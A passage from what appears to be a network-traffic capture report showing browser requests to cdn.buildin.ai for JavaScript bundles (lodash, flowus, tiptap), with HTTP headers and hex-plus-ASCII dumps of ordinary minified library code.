74 72 61 6e 73 Data Ascii: InRightBig}@keyframes fadeInUp{0%{opacity:0;transform:translate3d(0,100%,0)}to{opacity:1;transform:translateZ(0)}}.animate__fadeInUp{animation-name:fadeInUp}@keyframes fadeInUpBig{0%{opacity:0;transform:translate3d(0,2000px,0)}to{opacity:1;transform:trans

Timestamp	Bytes transferred	Direction	Data
2025-04-01 16:22:31 UTC	564	OUT	GET /assets/lodash-e50e3886.js HTTP/1.1 Host: cdn.buildin.ai Connection: keep-alive Origin: https://buildin.ai sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://buildin.ai/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 16:22:31 UTC	695	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 88086 Connection: close Last-Modified: Thu, 27 Mar 2025 08:05:50 GMT X-Amz-Server-Side-Encryption: AES256 X-Amz-Meta-S3cmd-Attrs: atime:1743062738/ctime:1743062563/gid:0/gname:root/md5:fc597e540baf87fbb88c6b9b83c433b9/mode:33188/mtime:1743062563/uid:0/uname:root Accept-Ranges: bytes Server: AmazonS3 Date: Tue, 01 Apr 2025 16:22:32 GMT Etag: "fc597e540baf87fbb88c6b9b83c433b9" Via: 1.1 0a4f6965adeb6ede9b7ffa17215c0b16.cloudfront.net (CloudFront) Access-Control-Allow-Origin: * X-Cache: RefreshHit from cloudfront X-Amz-Cf-Pop: JFK50-P8 X-Amz-Cf-Id: KVwZECDkCnbFQNQx3wNZcX7YDqzjT-aKZLdMkPjD8wOxC363F3iGww==
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 69 6d 70 6f 72 74 7b 67 20 61 73 20 62 65 7d 66 72 6f 6d 22 2e 2f 72 65 61 63 74 2d 76 65 6e 64 6f 72 2d 30 34 35 32 33 63 35 36 2e 6a 73 22 3b 76 61 72 20 4a 66 3d 74 79 70 65 6f 66 20 62 65 3d 3d 22 6f 62 6a 65 63 74 22 26 26 62 65 26 26 62 65 2e 4f 62 6a 65 63 74 3d 3d 3d 4f 62 6a 65 63 74 26 26 62 65 3b 63 6f 6e 73 74 20 54 69 3d 4a 66 3b 76 61 72 20 51 66 3d 74 79 70 65 6f 66 20 73 65 6c 66 3d 3d 22 6f 62 6a 65 63 74 22 26 26 73 65 6c 66 26 26 73 65 6c 66 2e 4f 62 6a 65 63 74 3d 3d 3d 4f 62 6a 65 63 74 26 26 73 65 6c 66 2c 6b 66 3d 54 69 7c 7c 51 66 7c 7c 46 75 6e 63 74 69 6f 6e 28 22 72 65 74 75 72 6e 20 74 68 69 73 22 29 28 29 3b 63 6f 6e 73 74 20 55 3d 6b 66 3b 76 61 72 20 56 66 3d 55 2e 53 79 6d 62 6f 6c 3b 63 6f 6e 73 74 20 48 3d 56 66 3b 76 61 Data Ascii: import{g as be}from"./react-vendor-04523c56.js";var Jf=typeof be=="object"&&be&&be.Object===Object&&be;const Ti=Jf;var Qf=typeof self=="object"&&self&&self.Object===Object&&self,kf=Ti\|\|Qf\|\|Function("return this")();const U=kf;var Vf=U.Symbol;const H=Vf;va
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 74 68 69 73 2e 5f 5f 64 61 74 61 5f 5f 3d 5b 5d 2c 74 68 69 73 2e 73 69 7a 65 3d 30 7d 66 75 6e 63 74 69 6f 6e 20 47 65 28 6e 2c 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 6e 2e 6c 65 6e 67 74 68 3b 74 2d 2d 3b 29 69 66 28 67 6e 28 6e 5b 74 5d 5b 30 5d 2c 65 29 29 72 65 74 75 72 6e 20 74 3b 72 65 74 75 72 6e 2d 31 7d 76 61 72 20 67 63 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2c 5f 63 3d 67 63 2e 73 70 6c 69 63 65 3b 66 75 6e 63 74 69 6f 6e 20 76 63 28 6e 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 5f 64 61 74 61 5f 5f 2c 74 3d 47 65 28 65 2c 6e 29 3b 69 66 28 74 3c 30 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 72 3d 65 2e 6c 65 6e 67 74 68 2d 31 3b 72 65 74 75 72 6e 20 74 3d 3d 72 3f 65 2e 70 6f 70 28 29 3a 5f 63 2e 63 61 6c 6c 28 65 2c 74 2c 31 29 2c 2d Data Ascii: this.__data__=[],this.size=0}function Ge(n,e){for(var t=n.length;t--;)if(gn(n[t][0],e))return t;return-1}var gc=Array.prototype,_c=gc.splice;function vc(n){var e=this.__data__,t=Ge(e,n);if(t<0)return!1;var r=e.length-1;return t==r?e.pop():_c.call(e,t,1),-
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 65 74 28 65 29 3b 69 66 28 63 26 26 6c 29 72 65 74 75 72 6e 20 63 3d 3d 65 26 26 6c 3d 3d 6e 3b 76 61 72 20 64 3d 2d 31 2c 68 3d 21 30 2c 67 3d 74 26 70 70 3f 6e 65 77 20 6a 6e 3a 76 6f 69 64 20 30 3b 66 6f 72 28 75 2e 73 65 74 28 6e 2c 65 29 2c 75 2e 73 65 74 28 65 2c 6e 29 3b 2b 2b 64 3c 6f 3b 29 7b 76 61 72 20 76 3d 6e 5b 64 5d 2c 78 3d 65 5b 64 5d 3b 69 66 28 72 29 76 61 72 20 24 3d 61 3f 72 28 78 2c 76 2c 64 2c 65 2c 6e 2c 75 29 3a 72 28 76 2c 78 2c 64 2c 6e 2c 65 2c 75 29 3b 69 66 28 24 21 3d 3d 76 6f 69 64 20 30 29 7b 69 66 28 24 29 63 6f 6e 74 69 6e 75 65 3b 68 3d 21 31 3b 62 72 65 61 6b 7d 69 66 28 67 29 7b 69 66 28 21 48 74 28 65 2c 66 75 6e 63 74 69 6f 6e 28 6d 2c 45 29 7b 69 66 28 21 64 65 28 67 2c 45 29 26 26 28 76 3d 3d 3d 6d 7c 7c 69 28 76 Data Ascii: et(e);if(c&&l)return c==e&&l==n;var d=-1,h=!0,g=t&pp?new jn:void 0;for(u.set(n,e),u.set(e,n);++d<o;){var v=n[d],x=e[d];if(r)var $=a?r(x,v,d,e,n,u):r(v,x,d,n,e,u);if($!==void 0){if($)continue;h=!1;break}if(g){if(!Ht(e,function(m,E){if(!de(g,E)&&(v===m\|\|i(v
2025-04-01 16:22:31 UTC	10463	IN	Data Raw: 67 74 68 29 3a 5b 5d 3b 72 65 74 75 72 6e 20 4e 6e 28 6e 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 75 5b 2b 2b 72 5d 3d 69 3f 74 6e 28 65 2c 61 2c 74 29 3a 24 65 28 61 2c 65 2c 74 29 7d 29 2c 75 7d 29 3b 63 6f 6e 73 74 20 54 76 3d 6d 76 3b 76 61 72 20 45 76 3d 22 5b 6f 62 6a 65 63 74 20 41 72 72 61 79 42 75 66 66 65 72 5d 22 3b 66 75 6e 63 74 69 6f 6e 20 4f 76 28 6e 29 7b 72 65 74 75 72 6e 20 57 28 6e 29 26 26 4b 28 6e 29 3d 3d 45 76 7d 76 61 72 20 67 69 3d 73 6e 26 26 73 6e 2e 69 73 41 72 72 61 79 42 75 66 66 65 72 2c 4c 76 3d 67 69 3f 72 6e 28 67 69 29 3a 4f 76 3b 63 6f 6e 73 74 20 50 76 3d 4c 76 3b 76 61 72 20 49 76 3d 22 5b 6f 62 6a 65 63 74 20 42 6f 6f 6c 65 61 6e 5d 22 3b 66 75 6e 63 74 69 6f 6e 20 53 76 28 6e 29 7b 72 65 74 75 72 6e 20 6e 3d 3d 3d 21 Data Ascii: gth):[];return Nn(n,function(a){u[++r]=i?tn(e,a,t):$e(a,e,t)}),u});const Tv=mv;var Ev="[object ArrayBuffer]";function Ov(n){return W(n)&&K(n)==Ev}var gi=sn&&sn.isArrayBuffer,Lv=gi?rn(gi):Ov;const Pv=Lv;var Iv="[object Boolean]";function Sv(n){return n===!
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 3f 28 65 3d 6e 2c 6e 3d 30 29 3a 65 3d 78 6e 28 65 29 29 2c 6e 3e 65 29 7b 76 61 72 20 72 3d 6e 3b 6e 3d 65 2c 65 3d 72 7d 69 66 28 74 7c 7c 6e 25 31 7c 7c 65 25 31 29 7b 76 61 72 20 69 3d 77 24 28 29 3b 72 65 74 75 72 6e 20 78 24 28 6e 2b 69 2a 28 65 2d 6e 2b 62 24 28 22 31 65 2d 22 2b 28 28 69 2b 22 22 29 2e 6c 65 6e 67 74 68 2d 31 29 29 29 2c 65 29 7d 72 65 74 75 72 6e 20 64 72 28 6e 2c 65 29 7d 76 61 72 20 54 24 3d 4d 61 74 68 2e 63 65 69 6c 2c 45 24 3d 4d 61 74 68 2e 6d 61 78 3b 66 75 6e 63 74 69 6f 6e 20 4f 24 28 6e 2c 65 2c 74 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 2d 31 2c 75 3d 45 24 28 54 24 28 28 65 2d 6e 29 2f 28 74 7c 7c 31 29 29 2c 30 29 2c 61 3d 41 72 72 61 79 28 75 29 3b 75 2d 2d 3b 29 61 5b 72 3f 75 3a 2b 2b 69 5d 3d 6e 2c 6e 2b 3d 74 Data Ascii: ?(e=n,n=0):e=xn(e)),n>e){var r=n;n=e,e=r}if(t\|\|n%1\|\|e%1){var i=w$();return x$(n+i*(e-n+b$("1e-"+((i+"").length-1))),e)}return dr(n,e)}var T$=Math.ceil,E$=Math.max;function O$(n,e,t,r){for(var i=-1,u=E$(T$((e-n)/(t\|\|1)),0),a=Array(u);u--;)a[r?u:++i]=n,n+=t
2025-04-01 16:22:31 UTC	12087	IN	Data Raw: 74 2c 73 74 75 62 4f 62 6a 65 63 74 3a 4e 41 2c 73 74 75 62 53 74 72 69 6e 67 3a 47 41 2c 73 74 75 62 54 72 75 65 3a 44 41 2c 74 69 6d 65 73 3a 41 79 2c 74 6f 50 61 74 68 3a 62 79 2c 75 6e 69 71 75 65 49 64 3a 6e 52 7d 3b 66 75 6e 63 74 69 6f 6e 20 4f 52 28 29 7b 76 61 72 20 6e 3d 6e 65 77 20 54 28 74 68 69 73 2e 5f 5f 77 72 61 70 70 65 64 5f 5f 29 3b 72 65 74 75 72 6e 20 6e 2e 5f 5f 61 63 74 69 6f 6e 73 5f 5f 3d 5a 28 74 68 69 73 2e 5f 5f 61 63 74 69 6f 6e 73 5f 5f 29 2c 6e 2e 5f 5f 64 69 72 5f 5f 3d 74 68 69 73 2e 5f 5f 64 69 72 5f 5f 2c 6e 2e 5f 5f 66 69 6c 74 65 72 65 64 5f 5f 3d 74 68 69 73 2e 5f 5f 66 69 6c 74 65 72 65 64 5f 5f 2c 6e 2e 5f 5f 69 74 65 72 61 74 65 65 73 5f 5f 3d 5a 28 74 68 69 73 2e 5f 5f 69 74 65 72 61 74 65 65 73 5f 5f 29 2c 6e 2e Data Ascii: t,stubObject:NA,stubString:GA,stubTrue:DA,times:Ay,toPath:by,uniqueId:nR};function OR(){var n=new T(this.__wrapped__);return n.__actions__=Z(this.__actions__),n.__dir__=this.__dir__,n.__filtered__=this.__filtered__,n.__iteratees__=Z(this.__iteratees__),n.

Timestamp	Bytes transferred	Direction	Data
2025-04-01 16:22:31 UTC	564	OUT	GET /assets/flowus-1673199d.js HTTP/1.1 Host: cdn.buildin.ai Connection: keep-alive Origin: https://buildin.ai sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://buildin.ai/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 16:22:31 UTC	697	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 4222074 Connection: close Last-Modified: Thu, 27 Mar 2025 07:35:13 GMT X-Amz-Server-Side-Encryption: AES256 X-Amz-Meta-S3cmd-Attrs: atime:1743060904/ctime:1743060729/gid:0/gname:root/md5:aa55ccd2df07e7b9389c5215e0bd7d45/mode:33188/mtime:1743060729/uid:0/uname:root Accept-Ranges: bytes Server: AmazonS3 Date: Tue, 01 Apr 2025 16:22:32 GMT Etag: "aa55ccd2df07e7b9389c5215e0bd7d45" Via: 1.1 827e4274db61b1bc4aa840491aa652a0.cloudfront.net (CloudFront) Access-Control-Allow-Origin: * X-Cache: RefreshHit from cloudfront X-Amz-Cf-Pop: JFK50-P8 X-Amz-Cf-Id: p_TztxeObfOLi_CyB19bWh4w3mGATZGdV6QUdJKE67uIzVmOJLVcMw==
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 76 61 72 20 57 48 31 3d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3b 76 61 72 20 51 48 31 3d 28 65 2c 74 2c 6e 29 3d 3e 74 20 69 6e 20 65 3f 57 48 31 28 65 2c 74 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 6e 7d 29 3a 65 5b 74 5d 3d 6e 3b 76 61 72 20 67 32 3d 28 65 2c 74 2c 6e 29 3d 3e 28 51 48 31 28 65 2c 74 79 70 65 6f 66 20 74 21 3d 22 73 79 6d 62 6f 6c 22 3f 74 2b 22 22 3a 74 2c 6e 29 2c 6e 29 3b 69 6d 70 6f 72 74 7b 70 20 61 73 20 4c 62 2c 67 20 61 73 20 6c 30 2c 63 20 61 73 20 73 74 2c 61 20 61 73 20 43 30 2c 72 20 61 73 20 45 2c 52 20 61 73 20 77 32 2c 62 20 61 73 20 49 72 2c 64 20 61 73 20 76 43 2c 65 20 61 73 20 59 48 31 Data Ascii: var WH1=Object.defineProperty;var QH1=(e,t,n)=>t in e?WH1(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n;var g2=(e,t,n)=>(QH1(e,typeof t!="symbol"?t+"":t,n),n);import{p as Lb,g as l0,c as st,a as C0,r as E,R as w2,b as Ir,d as vC,e as YH1
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 2a 20 59 6f 75 20 6d 61 79 20 6f 62 74 61 69 6e 20 61 20 63 6f 70 79 20 6f 66 20 74 68 65 20 4c 69 63 65 6e 73 65 20 61 74 0a 20 2a 0a 20 2a 20 20 20 68 74 74 70 3a 2f 2f 77 77 77 2e 61 70 61 63 68 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4c 49 43 45 4e 53 45 2d 32 2e 30 0a 20 2a 0a 20 2a 20 55 6e 6c 65 73 73 20 72 65 71 75 69 72 65 64 20 62 79 20 61 70 70 6c 69 63 61 62 6c 65 20 6c 61 77 20 6f 72 20 61 67 72 65 65 64 20 74 6f 20 69 6e 20 77 72 69 74 69 6e 67 2c 20 73 6f 66 74 77 61 72 65 0a 20 2a 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4c 69 63 65 6e 73 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 6f 6e 20 61 6e 20 22 41 53 20 49 53 22 20 42 41 53 49 53 2c 0a 20 2a 20 57 49 54 48 4f 55 54 20 57 41 52 52 41 4e 54 49 Data Ascii: * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTI
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 74 72 79 7b 65 2e 63 72 65 61 74 65 4f 62 6a 65 63 74 53 74 6f 72 65 28 5a 73 29 7d 63 61 74 63 68 28 6e 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 6e 29 7d 7d 7d 7d 29 2e 63 61 74 63 68 28 65 3d 3e 7b 74 68 72 6f 77 20 79 37 2e 63 72 65 61 74 65 28 22 69 64 62 2d 6f 70 65 6e 22 2c 7b 6f 72 69 67 69 6e 61 6c 45 72 72 6f 72 4d 65 73 73 61 67 65 3a 65 2e 6d 65 73 73 61 67 65 7d 29 7d 29 29 2c 56 76 7d 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 4c 62 31 28 65 29 7b 74 72 79 7b 63 6f 6e 73 74 20 6e 3d 28 61 77 61 69 74 20 4f 74 31 28 29 29 2e 74 72 61 6e 73 61 63 74 69 6f 6e 28 5a 73 29 2c 72 3d 61 77 61 69 74 20 6e 2e 6f 62 6a 65 63 74 53 74 6f 72 65 28 5a 73 29 2e 67 65 74 28 44 74 31 28 65 29 29 3b 72 65 74 75 72 6e 20 61 77 61 69 74 20 6e 2e 64 6f 6e Data Ascii: try{e.createObjectStore(Zs)}catch(n){console.warn(n)}}}}).catch(e=>{throw y7.create("idb-open",{originalErrorMessage:e.message})})),Vv}async function Lb1(e){try{const n=(await Ot1()).transaction(Zs),r=await n.objectStore(Zs).get(Dt1(e));return await n.don
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 28 74 2e 72 65 67 69 73 74 72 61 74 69 6f 6e 53 74 61 74 75 73 3d 3d 3d 30 29 7b 63 6f 6e 73 74 7b 69 6e 73 74 61 6c 6c 61 74 69 6f 6e 45 6e 74 72 79 3a 6e 2c 72 65 67 69 73 74 72 61 74 69 6f 6e 50 72 6f 6d 69 73 65 3a 72 7d 3d 61 77 61 69 74 20 50 6a 28 65 29 3b 72 65 74 75 72 6e 20 72 7c 7c 6e 7d 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 43 31 31 28 65 29 7b 72 65 74 75 72 6e 20 69 68 28 65 2c 74 3d 3e 7b 69 66 28 21 74 29 74 68 72 6f 77 20 63 74 2e 63 72 65 61 74 65 28 22 69 6e 73 74 61 6c 6c 61 74 69 6f 6e 2d 6e 6f 74 2d 66 6f 75 6e 64 22 29 3b 72 65 74 75 72 6e 20 4a 74 31 28 74 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 4a 74 31 28 65 29 7b 72 65 74 75 72 6e 20 74 6a 31 28 65 29 3f 7b 66 69 64 3a 65 2e 66 69 64 2c 72 65 67 69 73 74 72 61 74 Data Ascii: (t.registrationStatus===0){const{installationEntry:n,registrationPromise:r}=await Pj(e);return r\|\|n}return t}function C11(e){return ih(e,t=>{if(!t)throw ct.create("installation-not-found");return Jt1(t)})}function Jt1(e){return tj1(e)?{fid:e.fid,registrat
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 28 29 2c 30 29 2c 69 3d 73 65 74 54 69 6d 65 6f 75 74 28 6e 2c 6c 29 3b 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 28 29 3d 3e 7b 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 69 29 2c 72 28 6f 30 2e 63 72 65 61 74 65 28 22 66 65 74 63 68 2d 74 68 72 6f 74 74 6c 65 22 2c 7b 74 68 72 6f 74 74 6c 65 45 6e 64 54 69 6d 65 4d 69 6c 6c 69 73 3a 74 7d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 53 6a 31 28 65 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 66 74 29 7c 7c 21 65 2e 63 75 73 74 6f 6d 44 61 74 61 29 72 65 74 75 72 6e 21 31 3b 63 6f 6e 73 74 20 74 3d 4e 75 6d 62 65 72 28 65 2e 63 75 73 74 6f 6d 44 61 74 61 2e 68 74 74 70 53 74 61 74 75 73 29 3b 72 65 74 75 72 6e 20 74 3d 3d 3d 34 32 39 7c 7c 74 3d 3d 3d 35 30 30 7c 7c 74 3d 3d Data Ascii: (),0),i=setTimeout(n,l);e.addEventListener(()=>{clearTimeout(i),r(o0.create("fetch-throttle",{throttleEndTimeMillis:t}))})})}function Sj1(e){if(!(e instanceof ft)\|\|!e.customData)return!1;const t=Number(e.customData.httpStatus);return t===429\|\|t===500\|\|t==
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 75 73 65 20 74 68 69 73 20 66 69 6c 65 20 65 78 63 65 70 74 20 69 6e 20 63 6f 6d 70 6c 69 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 4c 69 63 65 6e 73 65 2e 0a 20 2a 20 59 6f 75 20 6d 61 79 20 6f 62 74 61 69 6e 20 61 20 63 6f 70 79 20 6f 66 20 74 68 65 20 4c 69 63 65 6e 73 65 20 61 74 0a 20 2a 0a 20 2a 20 20 20 68 74 74 70 3a 2f 2f 77 77 77 2e 61 70 61 63 68 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4c 49 43 45 4e 53 45 2d 32 2e 30 0a 20 2a 0a 20 2a 20 55 6e 6c 65 73 73 20 72 65 71 75 69 72 65 64 20 62 79 20 61 70 70 6c 69 63 61 62 6c 65 20 6c 61 77 20 6f 72 20 61 67 72 65 65 64 20 74 6f 20 69 6e 20 77 72 69 74 69 6e 67 2c 20 73 6f 66 74 77 61 72 65 0a 20 2a 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4c 69 63 65 6e 73 65 20 69 Data Ascii: use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License i
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 65 64 3d 74 7d 67 65 74 20 64 61 74 61 43 6f 6c 6c 65 63 74 69 6f 6e 45 6e 61 62 6c 65 64 28 29 7b 72 65 74 75 72 6e 20 61 30 2e 67 65 74 49 6e 73 74 61 6e 63 65 28 29 2e 64 61 74 61 43 6f 6c 6c 65 63 74 69 6f 6e 45 6e 61 62 6c 65 64 7d 7d 63 6f 6e 73 74 20 4b 78 31 3d 22 5b 44 45 46 41 55 4c 54 5d 22 3b 66 75 6e 63 74 69 6f 6e 20 4a 78 31 28 65 3d 5f 74 31 28 29 29 7b 72 65 74 75 72 6e 20 65 3d 42 6a 28 65 29 2c 55 73 28 65 2c 22 70 65 72 66 6f 72 6d 61 6e 63 65 22 29 2e 67 65 74 49 6d 6d 65 64 69 61 74 65 28 29 7d 63 6f 6e 73 74 20 58 78 31 3d 28 65 2c 7b 6f 70 74 69 6f 6e 73 3a 74 7d 29 3d 3e 7b 63 6f 6e 73 74 20 6e 3d 65 2e 67 65 74 50 72 6f 76 69 64 65 72 28 22 61 70 70 22 29 2e 67 65 74 49 6d 6d 65 64 69 61 74 65 28 29 2c 72 3d 65 2e 67 65 74 50 72 Data Ascii: ed=t}get dataCollectionEnabled(){return a0.getInstance().dataCollectionEnabled}}const Kx1="[DEFAULT]";function Jx1(e=_t1()){return e=Bj(e),Us(e,"performance").getImmediate()}const Xx1=(e,{options:t})=>{const n=e.getProvider("app").getImmediate(),r=e.getPr
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 77 69 6e 29 36 34 29 5b 3b 5c 29 5d 2f 69 5d 2c 5b 5b 79 2c 22 61 6d 64 36 34 22 5d 5d 2c 5b 2f 28 69 61 33 32 28 3f 3d 3b 29 29 2f 69 5d 2c 5b 5b 79 2c 53 31 5d 5d 2c 5b 2f 28 28 3f 3a 69 5b 33 34 36 5d 7c 78 29 38 36 29 5b 3b 5c 29 5d 2f 69 5d 2c 5b 5b 79 2c 22 69 61 33 32 22 5d 5d 2c 5b 2f 5c 62 28 61 61 72 63 68 36 34 7c 61 72 6d 28 76 3f 38 65 3f 6c 3f 7c 5f 3f 36 34 29 29 5c 62 2f 69 5d 2c 5b 5b 79 2c 22 61 72 6d 36 34 22 5d 5d 2c 5b 2f 5c 62 28 61 72 6d 28 3f 3a 76 5b 36 37 5d 29 3f 68 74 3f 6e 3f 5b 66 6c 5d 70 3f 29 5c 62 2f 69 5d 2c 5b 5b 79 2c 22 61 72 6d 68 66 22 5d 5d 2c 5b 2f 77 69 6e 64 6f 77 73 20 28 63 65 7c 6d 6f 62 69 6c 65 29 3b 20 70 70 63 3b 2f 69 5d 2c 5b 5b 79 2c 22 61 72 6d 22 5d 5d 2c 5b 2f 28 28 3f 3a 70 70 63 7c 70 6f 77 65 72 Data Ascii: win)64)[;\)]/i],[[y,"amd64"]],[/(ia32(?=;))/i],[[y,S1]],[/((?:i[346]\|x)86)[;\)]/i],[[y,"ia32"]],[/\b(aarch64\|arm(v?8e?l?\|_?64))\b/i],[[y,"arm64"]],[/\b(arm(?:v[67])?ht?n?[fl]p?)\b/i],[[y,"armhf"]],[/windows (ce\|mobile); ppc;/i],[[y,"arm"]],[/((?:ppc\|power
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 6e 65 22 2c 57 69 6e 64 6f 77 73 3a 22 57 69 6e 64 6f 77 73 22 2c 4d 41 43 5f 4f 53 3a 22 4d 61 63 20 4f 53 22 7d 2c 6a 4c 31 3d 7b 69 73 4d 6f 62 69 6c 65 3a 21 31 2c 69 73 54 61 62 6c 65 74 3a 21 31 2c 69 73 42 72 6f 77 73 65 72 3a 21 31 2c 69 73 53 6d 61 72 74 54 56 3a 21 31 2c 69 73 43 6f 6e 73 6f 6c 65 3a 21 31 2c 69 73 57 65 61 72 61 62 6c 65 3a 21 31 7d 2c 78 4c 31 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 73 77 69 74 63 68 28 74 29 7b 63 61 73 65 20 47 33 2e 4d 6f 62 69 6c 65 3a 72 65 74 75 72 6e 7b 69 73 4d 6f 62 69 6c 65 3a 21 30 7d 3b 63 61 73 65 20 47 33 2e 54 61 62 6c 65 74 3a 72 65 74 75 72 6e 7b 69 73 54 61 62 6c 65 74 3a 21 30 7d 3b 63 61 73 65 20 47 33 2e 53 6d 61 72 74 54 76 3a 72 65 74 75 72 6e 7b 69 73 53 6d 61 72 74 54 56 3a 21 30 7d 3b Data Ascii: ne",Windows:"Windows",MAC_OS:"Mac OS"},jL1={isMobile:!1,isTablet:!1,isBrowser:!1,isSmartTV:!1,isConsole:!1,isWearable:!1},xL1=function(t){switch(t){case G3.Mobile:return{isMobile:!0};case G3.Tablet:return{isTablet:!0};case G3.SmartTv:return{isSmartTV:!0};
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 2f 73 68 61 72 65 2f 37 64 35 61 32 34 36 30 2d 63 36 33 32 2d 34 30 31 62 2d 39 38 38 30 2d 61 36 37 32 35 36 35 30 34 37 65 30 22 29 2c 74 65 6d 70 6c 61 74 65 46 65 65 64 62 61 63 6b 3a 22 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 73 68 61 72 65 2f 31 38 35 62 61 33 39 63 2d 37 32 31 61 2d 34 30 38 38 2d 38 64 64 61 2d 37 63 36 38 31 35 65 37 32 63 64 62 22 29 2c 61 69 3a 22 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 61 69 22 29 2c 61 69 54 65 72 6d 73 3a 22 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 73 68 61 72 65 2f 35 35 36 39 38 32 31 33 2d 38 63 31 36 2d 34 37 31 30 2d 61 31 34 37 2d 32 32 37 39 38 35 33 61 61 31 33 33 22 29 2c 64 61 74 61 50 61 6e 65 6c 3a 22 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 73 68 61 72 65 2f 31 61 66 33 64 39 38 35 2d 66 34 33 66 2d Data Ascii: /share/7d5a2460-c632-401b-9880-a672565047e0"),templateFeedback:"".concat(e,"/share/185ba39c-721a-4088-8dda-7c6815e72cdb"),ai:"".concat(e,"/ai"),aiTerms:"".concat(e,"/share/55698213-8c16-4710-a147-2279853aa133"),dataPanel:"".concat(e,"/share/1af3d985-f43f-

Timestamp	Bytes transferred	Direction	Data
2025-04-01 16:22:31 UTC	564	OUT	GET /assets/tiptap-c155648d.js HTTP/1.1 Host: cdn.buildin.ai Connection: keep-alive Origin: https://buildin.ai sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://buildin.ai/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 16:22:31 UTC	701	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 924144 Connection: close Date: Mon, 31 Mar 2025 20:02:31 GMT Last-Modified: Thu, 27 Mar 2025 07:35:23 GMT Etag: "1cd5613503a50856cfe993703d1b84c4" X-Amz-Server-Side-Encryption: AES256 X-Amz-Meta-S3cmd-Attrs: atime:1743060904/ctime:1743060729/gid:0/gname:root/md5:1cd5613503a50856cfe993703d1b84c4/mode:33188/mtime:1743060729/uid:0/uname:root Accept-Ranges: bytes Server: AmazonS3 Via: 1.1 39947baba82573c8d139cba81c505476.cloudfront.net (CloudFront) Age: 73201 Access-Control-Allow-Origin: * X-Cache: Hit from cloudfront X-Amz-Cf-Pop: JFK50-P8 X-Amz-Cf-Id: BpEhGohJqJxRhklNmXv50ACbttg0ITXYMHsavFkZxmpBA2SJguSX6g==
